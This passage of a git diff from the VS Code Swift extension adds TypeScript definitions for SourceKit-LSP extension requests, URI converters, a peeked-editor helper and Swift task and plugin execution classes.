{@link PeekDocumentsRequest}. */ +export interface PeekDocumentsResponse { + success: boolean; +} + +/** + * Request from the server to the client to show the given documents in a "peeked" editor **(LSP Extension)** + * + * This request is handled by the client to show the given documents in a + * "peeked" editor (i.e. inline with / inside the editor canvas). This is + * similar to VS Code's built-in "editor.action.peekLocations" command. + * + * - Parameters: + * - uri: The {@link DocumentUri} of the text document in which to show the "peeked" editor + * - position: The {@link Position} in the given text document in which to show the "peeked editor" + * - locations: The {@link DocumentUri} of documents to appear inside the "peeked" editor + * + * - Returns: {@link PeekDocumentsResponse} which indicates the `success` of the request. + * + * ### LSP Extension + * + * This request is an extension to LSP supported by SourceKit-LSP. + * + * It requires the experimental client capability `"workspace/peekDocuments"` to use. + * It also needs the client to handle the request and present the "peeked" editor. + */ +export namespace PeekDocumentsRequest { + export const method = "workspace/peekDocuments" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} diff --git a/src/sourcekit-lsp/extensions/PollIndexRequest.ts b/src/sourcekit-lsp/extensions/PollIndexRequest.ts new file mode 100644 index 000000000..c5b64645d --- /dev/null +++ b/src/sourcekit-lsp/extensions/PollIndexRequest.ts @@ -0,0 +1,30 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { MessageDirection, RequestType } from "vscode-languageclient"; + +// eslint-disable-next-line @typescript-eslint/no-namespace +export namespace PollIndexRequest { + export const method = "workspace/_pollIndex" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} + +// eslint-disable-next-line @typescript-eslint/no-namespace +export namespace WorkspaceSynchronizeRequest { + export const method = "workspace/synchronize" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} diff --git a/src/sourcekit-lsp/extensions/ReIndexProjectRequest.ts b/src/sourcekit-lsp/extensions/ReIndexProjectRequest.ts new file mode 100644 index 000000000..6b46311ca --- /dev/null +++ b/src/sourcekit-lsp/extensions/ReIndexProjectRequest.ts @@ -0,0 +1,33 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { MessageDirection, RequestType0 } from "vscode-languageclient"; + +/** + * Re-index all files open in the SourceKit-LSP server. + * + * Users should not need to rely on this request. The index should always be updated automatically in the background. + * Having to invoke this request means there is a bug in SourceKit-LSP's automatic re-indexing. It does, however, offer + * a workaround to re-index files when such a bug occurs where otherwise there would be no workaround. + * + * ### LSP Extension + * + * This request is an extension to LSP supported by SourceKit-LSP. + */ +export namespace ReIndexProjectRequest { + export const method = "workspace/triggerReindex" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType0("workspace/triggerReindex"); +} diff --git a/src/sourcekit-lsp/extensions/SourceKitLogMessageNotification.ts b/src/sourcekit-lsp/extensions/SourceKitLogMessageNotification.ts new file mode 100644 index 000000000..e40db72ca --- /dev/null +++ b/src/sourcekit-lsp/extensions/SourceKitLogMessageNotification.ts @@ -0,0 +1,36 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { LogMessageParams, MessageDirection, NotificationType } from "vscode-languageclient"; + +/** Parameters sent in a {@link SourceKitLogMessageNotification}. */ +export interface SourceKitLogMessageParams extends LogMessageParams { + logName?: string; +} + +/** + * The log message notification is sent from the server to the client to ask the client to + * log a particular message. + * + * ### LSP Extension + * + * This notification has the same behaviour as the `window/logMessage` notification built + * into the LSP. However, SourceKit-LSP adds extra information to the parameters. + */ +export namespace SourceKitLogMessageNotification { + export const method = "window/logMessage" as const; + export const messageDirection: MessageDirection = MessageDirection.serverToClient; + export const type = new NotificationType(method); +} diff --git a/src/sourcekit-lsp/extensions/SymbolInfoRequest.ts b/src/sourcekit-lsp/extensions/SymbolInfoRequest.ts new file mode 100644 index 000000000..fcfb2c703 --- /dev/null +++ b/src/sourcekit-lsp/extensions/SymbolInfoRequest.ts @@ -0,0 +1,154 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +// We use namespaces to store request information just like vscode-languageclient +/* eslint-disable @typescript-eslint/no-namespace */ +import { + Location, + MessageDirection, + Position, + RequestType, + SymbolKind, + TextDocumentIdentifier, +} from "vscode-languageclient"; + +/** Parameters used to make a {@link SymbolInfoRequest}. */ +export interface SymbolInfoParams { + /** The document in which to lookup the symbol location. */ + textDocument: TextDocumentIdentifier; + + /** The document location at which to lookup symbol information. */ + position: Position; +} + +/** Information about which module a symbol is defined in. */ +export interface ModuleInfo { + /** The name of the module in which the symbol is defined. */ + moduleName: string; + + /** If the symbol is defined within a subgroup of a module, the name of the group. */ + groupName?: string; +} + +/** Detailed information about a symbol, such as the response to a {@link SymbolInfoRequest}. */ +export interface SymbolDetails { + /** The name of the symbol, if any. */ + name?: string; + + /** + * The name of the containing type for the symbol, if any. + * + * For example, in the following snippet, the `containerName` of `foo()` is `C`. + * + * ```c++ + * class C { + * void foo() {} + * } + * ``` + */ + containerName?: string; + + /** The USR of the symbol, if any. */ + usr?: string; + + /** + * Best known declaration or definition location without global knowledge. + * + * For a local or private variable, this is generally the canonical definition location - + * appropriate as a response to a `textDocument/definition` request. For global symbols this is + * the best known location within a single compilation unit. For example, in C++ this might be + * the declaration location from a header as opposed to the definition in some other + * translation unit. + * */ + bestLocalDeclaration?: Location; + + /** The kind of the symbol */ + kind?: SymbolKind; + + /** + * Whether the symbol is a dynamic call for which it isn't known which method will be invoked at runtime. This is + * the case for protocol methods and class functions. + * + * Optional because `clangd` does not return whether a symbol is dynamic. + */ + isDynamic?: boolean; + + /** + * Whether this symbol is defined in the SDK or standard library. + * + * This property only applies to Swift symbols. + */ + isSystem?: boolean; + + /** + * If the symbol is dynamic, the USRs of the types that might be called. + * + * This is relevant in the following cases: + * ```swift + * class A { + * func doThing() {} + * } + * class B: A {} + * class C: B { + * override func doThing() {} + * } + * class D: A { + * override func doThing() {} + * } + * func test(value: B) { + * value.doThing() + * } + * ``` + * + * The USR of the called function in `value.doThing` is `A.doThing` (or its + * mangled form) but it can never call `D.doThing`. In this case, the + * receiver USR would be `B`, indicating that only overrides of subtypes in + * `B` may be called dynamically. + */ + receiverUsrs?: string[]; + + /** + * If the symbol is defined in a module that doesn't have source information associated with it, the name and group + * and group name that defines this symbol. + * + * This property only applies to Swift symbols. + */ + systemModule?: ModuleInfo; +} + +/** + * Request for semantic information about the symbol at a given location **(LSP Extension)**. + * + * This request looks up the symbol (if any) at a given text document location and returns + * SymbolDetails for that location, including information such as the symbol's USR. The symbolInfo + * request is not primarily designed for editors, but instead as an implementation detail of how + * one LSP implementation (e.g. SourceKit) gets information from another (e.g. clangd) to use in + * performing index queries or otherwise implementing the higher level requests such as definition. + * + * - Parameters: + * - textDocument: The document in which to lookup the symbol location. + * - position: The document location at which to lookup symbol information. + * + * - Returns: `[SymbolDetails]` for the given location, which may have multiple elements if there are + * multiple references, or no elements if there is no symbol at the given location. + * + * ### LSP Extension + * + * This request is an extension to LSP supported by SourceKit-LSP and clangd. It does *not* require + * any additional client or server capabilities to use. + */ +export namespace SymbolInfoRequest { + export const method = "textDocument/symbolInfo" as const; + export const messageDirection: MessageDirection = MessageDirection.clientToServer; + export const type = new RequestType(method); +} diff --git a/src/sourcekit-lsp/extensions/index.ts b/src/sourcekit-lsp/extensions/index.ts new file mode 100644 index 000000000..346eac36c --- /dev/null +++ b/src/sourcekit-lsp/extensions/index.ts @@ -0,0 +1,24 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// + +// Definitions for non-standard requests used by sourcekit-lsp + +export * from "./DocCDocumentationRequest"; +export * from "./GetReferenceDocumentRequest"; +export * from "./GetTestsRequest"; +export * from "./LegacyInlayHintRequest"; +export * from "./PeekDocumentsRequest"; +export * from "./ReIndexProjectRequest"; +export * from "./SourceKitLogMessageNotification"; +export * from "./SymbolInfoRequest"; diff --git a/src/sourcekit-lsp/getReferenceDocument.ts b/src/sourcekit-lsp/getReferenceDocument.ts new file mode 100644 index 000000000..40e388eee --- /dev/null +++ b/src/sourcekit-lsp/getReferenceDocument.ts @@ -0,0 +1,44 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as langclient from "vscode-languageclient/node"; + +import { GetReferenceDocumentParams, GetReferenceDocumentRequest } from "./extensions"; + +export function activateGetReferenceDocument(client: langclient.LanguageClient): vscode.Disposable { + const getReferenceDocument = vscode.workspace.registerTextDocumentContentProvider( + "sourcekit-lsp", + { + provideTextDocumentContent: async (uri, token) => { + const params: GetReferenceDocumentParams = { + uri: client.code2ProtocolConverter.asUri(uri), + }; + + const result = await client.sendRequest( + GetReferenceDocumentRequest.type, + params, + token + ); + + if (result) { + return result.content; + } else { + return "Unable to retrieve reference document"; + } + }, + } + ); + + return getReferenceDocument; +} diff --git a/src/sourcekit-lsp/inlayHints.ts b/src/sourcekit-lsp/inlayHints.ts index d07e2d7f1..d3ae806d7 100644 --- a/src/sourcekit-lsp/inlayHints.ts +++ b/src/sourcekit-lsp/inlayHints.ts @@ -1,22 +1,22 @@ //===----------------------------------------------------------------------===// // -// This source file is part of the VSCode Swift open source project +// This source file is part of the VS Code Swift open source project // -// Copyright (c) 2021 the VSCode Swift project authors +// Copyright (c) 2021 the VS Code Swift project authors // Licensed under Apache License v2.0 // // See LICENSE.txt for license information -// See CONTRIBUTORS.txt for the list of VSCode Swift project authors +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors // // SPDX-License-Identifier: Apache-2.0 // //===----------------------------------------------------------------------===// - import * as vscode from "vscode"; import * as langclient from "vscode-languageclient/node"; + import configuration from "../configuration"; -import { LanguageClientManager } from "./LanguageClientManager"; -import { legacyInlayHintsRequest } from "./lspExtensions"; +import { LanguagerClientDocumentSelectors } from "./LanguageClientConfiguration"; +import { LegacyInlayHintRequest } from "./extensions"; /** Provide Inlay Hints using sourcekit-lsp */ class SwiftLegacyInlayHintsProvider implements vscode.InlayHintsProvider { @@ -37,7 +37,7 @@ class SwiftLegacyInlayHintsProvider implements vscode.InlayHintsProvider { textDocument: this.client.code2ProtocolConverter.asTextDocumentIdentifier(document), range: { start: range.start, end: range.end }, }; - const result = this.client.sendRequest(legacyInlayHintsRequest, params, token); + const result = this.client.sendRequest(LegacyInlayHintRequest.type, params, token); return result.then( hints => { return hints.map(hint => { @@ -68,7 +68,7 @@ class SwiftLegacyInlayHintsProvider implements vscode.InlayHintsProvider { /** activate the inlay hints */ export function activateLegacyInlayHints(client: langclient.LanguageClient): vscode.Disposable { const inlayHint = vscode.languages.registerInlayHintsProvider( - LanguageClientManager.documentSelector, + LanguagerClientDocumentSelectors.sourcekitLSPDocumentTypes(), new SwiftLegacyInlayHintsProvider(client) ); diff --git a/src/sourcekit-lsp/peekDocuments.ts b/src/sourcekit-lsp/peekDocuments.ts new file mode 100644 index 000000000..497968617 --- /dev/null +++ b/src/sourcekit-lsp/peekDocuments.ts @@ -0,0 +1,109 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; +import * as langclient from "vscode-languageclient/node"; + +import { PeekDocumentsParams, PeekDocumentsRequest } from "./extensions"; + +/** + * Opens a peeked editor in `uri` at `position` having contents from `locations`. + * + * **NOTE**: + * - If the `uri` is not open in the editor, this opens the `uri` in the editor and then opens a peeked editor. + * - This closes any previously displayed peeked editor in `uri` and then, reopens a peeked editor in `uri` at + * the given `position` with contents from the new `locations`. + * + * @param uri The uri of the file in which a peeked editor is to be opened + * @param position The position in the file in which a peeked editor is to be opened + * @param locations The locations of the contents which has to be displayed by the peeked editor + */ +async function openPeekedEditorIn( + uri: vscode.Uri, + position: vscode.Position, + locations: vscode.Location[] +) { + // #### NOTE - Undocumented behaviour of invoking VS Code's built-in "editor.action.peekLocations" command: + // 1. If the `uri` is not open in the editor, it opens the `uri` in the editor and then opens a peeked editor. + // 2. It always closes the previous peeked editor (If any) + // 3. And after closing, It opens a new peeked editor having the contents of `locations` in `uri` **if and only + // if** the previous peeked editor was displayed at a *different* `position` in `uri`. + // 4. If it happens to be that the previous peeked editor was displayed at the *same* `position` in `uri`, then it + // doesn't open the peeked editor window having the contents of new `locations` at all. + + // As (4.) says above, if we invoke "editor.action.peekLocations" on a position in which another peeked editor + // window is already being shown, it won't cause the new peeked editor window to show up at all. This is not the + // ideal behaviour. + // + // For example: + // If there's already a peeked editor window at the position (2, 2) in "main.swift", its impossible to close this + // peeked editor window and open a new peeked editor window at the same position (2, 2) in "main.swift" by invoking + // the "editor.action.peekLocations" command in a single call. + // + // *The ideal behaviour* is to close any previously opened peeked editor window and then open the new one without + // any regard to its `position` in the `uri`. + + // In order to achieve *the ideal behaviour*, we manually close the peeked editor window by ourselves before + // opening a new peeked editor window. + // + // Since there isn't any API available to close the previous peeked editor, as a **workaround**, we open a dummy + // peeked editor at a different position, causing the previous one to close irrespective of where it is. After + // which we can invoke the command again to show the actual peeked window having the contents of the `locations`. + await vscode.commands.executeCommand( + "editor.action.peekLocations", + uri, + new vscode.Position(position.line, position.character !== 0 ? position.character - 1 : 1), + [new vscode.Location(vscode.Uri.parse(""), new vscode.Position(0, 0))], + "peek" + ); + + // Opens the actual peeked editor window + await vscode.commands.executeCommand( + "editor.action.peekLocations", + uri, + position, + locations, + "peek" + ); +} + +export function activatePeekDocuments(client: langclient.LanguageClient): vscode.Disposable { + const peekDocuments = client.onRequest( + PeekDocumentsRequest.method, + async (params: PeekDocumentsParams) => { + const peekURI = client.protocol2CodeConverter.asUri(params.uri); + + const peekPosition = new vscode.Position( + params.position.line, + params.position.character + ); + + const peekLocations = params.locations.map(location => { + if (typeof location === "string") { + // DocumentUri is a typedef of `string`, so effectively we are checking for DocumentUri here + return new vscode.Location( + client.protocol2CodeConverter.asUri(location), + new vscode.Position(0, 0) + ); + } + return client.protocol2CodeConverter.asLocation(location); + }); + + await openPeekedEditorIn(peekURI, peekPosition, peekLocations); + + return { success: true }; + } + ); + + return peekDocuments; +} diff --git a/src/sourcekit-lsp/uriConverters.ts b/src/sourcekit-lsp/uriConverters.ts new file mode 100644 index 000000000..91de6547f --- /dev/null +++ b/src/sourcekit-lsp/uriConverters.ts @@ -0,0 +1,124 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +export const uriConverters = { + protocol2Code: (value: string): vscode.Uri => { + if (!value.startsWith("sourcekit-lsp:")) { + // Use the default implementation for all schemes other than sourcekit-lsp, as defined here: + // https://github.com/microsoft/vscode-languageserver-node/blob/14ddabfc22187b698e83ecde072247aa40727308/client/src/common/protocolConverter.ts#L286 + return vscode.Uri.parse(value); + } + + // vscode.uri fails to round-trip URIs that have both a `=` and `%3D` (percent-encoded `=`) in the query component. + // ```ts + // vscode.Uri.parse("scheme://host?outer=inner%3Dvalue").toString() -> 'scheme://host?outer%3Dinner%3Dvalue' + // vscode.Uri.parse("scheme://host?outer=inner%3Dvalue").toString(/*skipEncoding*/ true) -> 'scheme://host?outer=inner=value' + // ``` + // The SourceKit-LSP scheme relies heavily on encoding options in the query parameters, eg. for Swift macro + // expansions and the values of those query parameters might contain percent-encoded `=` signs. + // + // To work around the round-trip issue, use the URL type from Node.js to parse the URI and then map the URL + // components to the Uri components in VS Code. + const url = new URL(value); + let scheme = url.protocol; + if (scheme.endsWith(":")) { + // URL considers ':' part of the protocol, `vscode.URI` does not consider it part of the scheme. + scheme = scheme.substring(0, scheme.length - 1); + } + + let auth = url.username; + if (url.password) { + auth += ":" + url.password; + } + let host = url.host; + if (auth) { + host = auth + "@" + host; + } + + let query = url.search; + if (query.startsWith("?")) { + // URL considers '?' not part of the search, `vscode.URI` does consider '?' part of the query. + query = query.substring(1); + } + + let fragment = url.hash; + if (fragment.startsWith("#")) { + // URL considers '#' not part of the hash, `vscode.URI` does consider '#' part of the fragment. + fragment = fragment.substring(1); + } + + return vscode.Uri.from({ + scheme: scheme, + authority: host, + path: url.pathname, + query: query, + fragment: fragment, + }); + }, + code2Protocol: (value: vscode.Uri): string => { + if (value.scheme !== "sourcekit-lsp") { + // Use the default implementation for all schemes other than sourcekit-lsp, as defined here: + // https://github.com/microsoft/vscode-languageserver-node/blob/14ddabfc22187b698e83ecde072247aa40727308/client/src/common/codeConverter.ts#L155 + return value.toString(); + } + // Create a dummy URL. We set all the components below. + const url = new URL(value.scheme + "://"); + + // Uri encodes username and password in `authority`. Url has its custom fields for those. + let host: string; + let username: string; + let password: string; + const atInAuthority = value.authority.indexOf("@"); + if (atInAuthority !== -1) { + host = value.authority.substring(atInAuthority + 1); + const auth = value.authority.substring(0, atInAuthority); + const colonInAuth = auth.indexOf(":"); + if (colonInAuth === -1) { + username = auth; + password = ""; + } else { + username = auth.substring(0, colonInAuth); + password = auth.substring(colonInAuth + 1); + } + } else { + host = value.authority; + username = ""; + password = ""; + } + + // Need to set host before username and password because otherwise setting username + password is a no-op (probably + // because a URL can't have a username without a host). + url.host = host; + url.username = username; + url.password = password; + url.pathname = value.path; + + let search = value.query; + if (search) { + // URL considers '?' not part of the search, vscode.URI does '?' part of the query. + search = "?" + search; + } + url.search = search; + + let hash = value.fragment; + if (hash) { + // URL considers '#' not part of the hash, vscode.URI does '#' part of the fragment. + hash = "#" + hash; + } + url.hash = hash; + + return url.toString(); + }, +}; diff --git a/src/tasks/SwiftExecution.ts b/src/tasks/SwiftExecution.ts new file mode 100644 index 000000000..78f6d6a04 --- /dev/null +++ b/src/tasks/SwiftExecution.ts @@ -0,0 +1,94 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { ReadOnlySwiftProcess, SwiftProcess, SwiftPtyProcess } from "./SwiftProcess"; +import { SwiftPseudoterminal } from "./SwiftPseudoterminal"; + +export interface SwiftExecutionOptions extends vscode.ProcessExecutionOptions { + presentation?: vscode.TaskPresentationOptions; + readOnlyTerminal?: boolean; +} + +/** + * A custom task execution to use for `swift` tasks. This gives us more + * control over how the task and `swift` process is executed and allows + * us to capture and process the output of the `swift` process + */ +export class SwiftExecution extends vscode.CustomExecution implements vscode.Disposable { + private readonly writeEmitter: vscode.EventEmitter = new vscode.EventEmitter(); + private readonly closeEmitter: vscode.EventEmitter = new vscode.EventEmitter< + number | void + >(); + private disposables: vscode.Disposable[] = []; + + constructor( + public readonly command: string, + public readonly args: string[], + public readonly options: SwiftExecutionOptions, + private swiftProcess: SwiftProcess | undefined = undefined + ) { + super(async () => { + const createSwiftProcess = () => { + if (!swiftProcess) { + this.swiftProcess = options.readOnlyTerminal + ? new ReadOnlySwiftProcess(command, args, options) + : new SwiftPtyProcess(command, args, options); + this.listen(this.swiftProcess); + } + return this.swiftProcess!; + }; + return new SwiftPseudoterminal(createSwiftProcess, options.presentation || {}); + }); + if (this.swiftProcess) { + this.listen(this.swiftProcess); + } + } + + private listen(swiftProcess: SwiftProcess) { + this.dispose(); + this.disposables.push( + swiftProcess.onDidWrite(e => this.writeEmitter.fire(e)), + swiftProcess.onDidClose(e => this.closeEmitter.fire(e)) + ); + } + + dispose() { + this.disposables.forEach(d => d.dispose()); + this.disposables = []; + } + + /** + * Bubbles up the {@link SwiftProcess.onDidWrite onDidWrite} event + * from the {@link SwiftProcess} + * + * @see {@link SwiftProcess.onDidWrite} + */ + onDidWrite: vscode.Event = this.writeEmitter.event; + + /** + * Bubbles up the {@link SwiftProcess.onDidClose onDidClose} event + * from the {@link SwiftProcess} + * + * @see {@link SwiftProcess.onDidClose} + */ + onDidClose: vscode.Event = this.closeEmitter.event; + + /** + * Terminate the underlying executable. + */ + terminate(signal?: NodeJS.Signals) { + this.swiftProcess?.terminate(signal); + } +} diff --git a/src/tasks/SwiftPluginTaskProvider.ts b/src/tasks/SwiftPluginTaskProvider.ts new file mode 100644 index 000000000..30d7e707d --- /dev/null +++ b/src/tasks/SwiftPluginTaskProvider.ts @@ -0,0 +1,283 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2022 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as path from "path"; +import * as vscode from "vscode"; + +import { PackagePlugin } from "../SwiftPackage"; +import { WorkspaceContext } from "../WorkspaceContext"; +import configuration, { + PluginPermissionConfiguration, + substituteVariablesInString, +} from "../configuration"; +import { SwiftExecution } from "../tasks/SwiftExecution"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { packageName, resolveTaskCwd } from "../utilities/tasks"; +import { swiftRuntimeEnv } from "../utilities/utilities"; +import { SwiftTask } from "./SwiftTaskProvider"; + +// Interface class for defining task configuration +interface TaskConfig { + cwd: vscode.Uri; + scope: vscode.WorkspaceFolder; + presentationOptions?: vscode.TaskPresentationOptions; + packageName?: string; +} + +/** + * A {@link vscode.TaskProvider TaskProvider} for tasks that match the definition + * in **package.json**: `{ type: 'swift'; command: string; args: string[] }`. + * + * See {@link SwiftTaskProvider.provideTasks provideTasks} for a list of provided tasks. + */ +export class SwiftPluginTaskProvider implements vscode.TaskProvider { + constructor(private workspaceContext: WorkspaceContext) {} + + /** + * Provides tasks to run swift plugins: + */ + // eslint-disable-next-line @typescript-eslint/no-unused-vars + async provideTasks(token: vscode.CancellationToken): Promise { + if (this.workspaceContext.folders.length === 0) { + return []; + } + const tasks = []; + + for (const folderContext of this.workspaceContext.folders) { + for (const plugin of folderContext.swiftPackage.plugins) { + tasks.push( + this.createSwiftPluginTask(plugin, folderContext.toolchain, { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + presentationOptions: { + reveal: vscode.TaskRevealKind.Always, + }, + packageName: packageName(folderContext), + }) + ); + } + } + return tasks; + } + + /** + * Resolves a {@link vscode.Task Task} specified in **tasks.json**. + * + * Other than its definition, this `Task` may be incomplete, + * so this method should fill in the blanks. + */ + // eslint-disable-next-line @typescript-eslint/no-unused-vars + resolveTask(task: vscode.Task, token: vscode.CancellationToken): vscode.Task { + const currentFolder = + this.workspaceContext.currentFolder ?? this.workspaceContext.folders[0]; + if (!currentFolder) { + return task; + } + // We need to create a new Task object here. + // Reusing the task parameter doesn't seem to work. + const swift = currentFolder.toolchain.getToolchainExecutable("swift"); + let swiftArgs = [ + "package", + ...this.pluginArguments(task.definition as PluginPermissionConfiguration), + task.definition.command, + ...(task.definition.args ?? []).map(substituteVariablesInString), + ]; + swiftArgs = currentFolder.toolchain.buildFlags.withAdditionalFlags(swiftArgs); + + const cwd = resolveTaskCwd(task, task.definition.cwd); + const newTask = new vscode.Task( + task.definition, + task.scope ?? vscode.TaskScope.Workspace, + task.name, + "swift-plugin", + new SwiftExecution(swift, swiftArgs, { + cwd, + env: { ...configuration.swiftEnvironmentVariables, ...swiftRuntimeEnv() }, + presentation: task.presentationOptions, + }), + task.problemMatchers + ); + newTask.detail = task.detail ?? `swift ${swiftArgs.join(" ")}`; + newTask.presentationOptions = task.presentationOptions; + + return newTask; + } + + /** + * + * @param plugin Helper function to create a swift plugin task + * @param args arguments sent to plugin + * @param config + * @returns + */ + createSwiftPluginTask( + plugin: PackagePlugin, + toolchain: SwiftToolchain, + config: TaskConfig + ): SwiftTask { + const swift = toolchain.getToolchainExecutable("swift"); + + // Add relative path current working directory + const relativeCwd = path.relative(config.scope.uri.fsPath, config.cwd.fsPath); + const taskDefinitionCwd = relativeCwd !== "" ? relativeCwd : undefined; + const definition = this.getTaskDefinition(plugin, taskDefinitionCwd); + let swiftArgs = [ + "package", + ...this.pluginArgumentsFromConfiguration(config.scope, definition, plugin), + plugin.command, + ...definition.args, + ]; + swiftArgs = toolchain.buildFlags.withAdditionalFlags(swiftArgs); + + const presentation = config?.presentationOptions ?? {}; + const task = new vscode.Task( + definition, + config.scope ?? vscode.TaskScope.Workspace, + plugin.name, + "swift-plugin", + new SwiftExecution(swift, swiftArgs, { + cwd: config.cwd.fsPath, + env: { ...configuration.swiftEnvironmentVariables, ...swiftRuntimeEnv() }, + presentation, + }), + [] + ); + task.detail = `swift ${swiftArgs.join(" ")}`; + task.presentationOptions = presentation; + return task as SwiftTask; + } + + /** + * Get task definition for a command plugin + */ + private getTaskDefinition( + plugin: PackagePlugin, + cwd: string | undefined + ): vscode.TaskDefinition { + const definition = { + type: "swift-plugin", + command: plugin.command, + args: [], + disableSandbox: false, + allowWritingToPackageDirectory: false, + cwd, + disableTaskQueue: false, + }; + // There are common command plugins used across the package eco-system eg for docc generation + // Everytime these are run they need the same default setup. + switch (`${plugin.package}, ${plugin.command}`) { + case "swift-aws-lambda-runtime, archive": + definition.disableSandbox = true; + definition.disableTaskQueue = true; + break; + + case "SwiftDocCPlugin, generate-documentation": + definition.allowWritingToPackageDirectory = true; + break; + + case "SwiftDocCPlugin, preview-documentation": + definition.disableSandbox = true; + definition.allowWritingToPackageDirectory = true; + break; + + case "SwiftFormat, swiftformat": + definition.allowWritingToPackageDirectory = true; + break; + + case "swift-format, format-source-code": + definition.allowWritingToPackageDirectory = true; + break; + + default: + break; + } + return definition; + } + + /** + * Generates a list of permission related plugin arguments from two potential sources, + * the hardcoded list of permissions defined on a per-plugin basis in getTaskDefinition + * and the user-configured permissions in the workspace settings. User-configured permissions + * are keyed by either plugin command name (package), or in the form `name:command`. + * User-configured permissions take precedence over the hardcoded permissions, and the more + * specific form of `name:command` takes precedence over the more general form of `name`. + * @param folderContext The folder context to search for the `swift.pluginPermissions` and `swift.pluginArguments` keys. + * @param taskDefinition The task definition to search for the `disableSandbox` and `allowWritingToPackageDirectory` keys. + * @param plugin The plugin to generate arguments for. + * @returns A list of permission related arguments to pass when invoking the plugin. + */ + private pluginArgumentsFromConfiguration( + folderContext: vscode.WorkspaceFolder, + taskDefinition: vscode.TaskDefinition, + plugin: PackagePlugin + ): string[] { + const config = configuration.folder(folderContext); + const globalPackageConfig = config.pluginPermissions(); + const packageConfig = config.pluginPermissions(plugin.package); + const commandConfig = config.pluginPermissions(`${plugin.package}:${plugin.command}`); + + const globalPackageArgs = config.pluginArguments(); + const packageArgs = config.pluginArguments(plugin.package); + const commandArgs = config.pluginArguments(`${plugin.package}:${plugin.command}`); + + const taskDefinitionConfiguration: PluginPermissionConfiguration = {}; + if (taskDefinition.disableSandbox) { + taskDefinitionConfiguration.disableSandbox = true; + } + if (taskDefinition.allowWritingToPackageDirectory) { + taskDefinitionConfiguration.allowWritingToPackageDirectory = true; + } + if (taskDefinition.allowWritingToDirectory) { + taskDefinitionConfiguration.allowWritingToDirectory = + taskDefinition.allowWritingToDirectory; + } + if (taskDefinition.allowNetworkConnections) { + taskDefinitionConfiguration.allowNetworkConnections = + taskDefinition.allowNetworkConnections; + } + + return [ + ...globalPackageArgs, + ...packageArgs, + ...commandArgs, + ...this.pluginArguments({ + ...globalPackageConfig, + ...packageConfig, + ...commandConfig, + ...taskDefinitionConfiguration, + }), + ]; + } + + private pluginArguments(config: PluginPermissionConfiguration): string[] { + const args = []; + if (config.disableSandbox) { 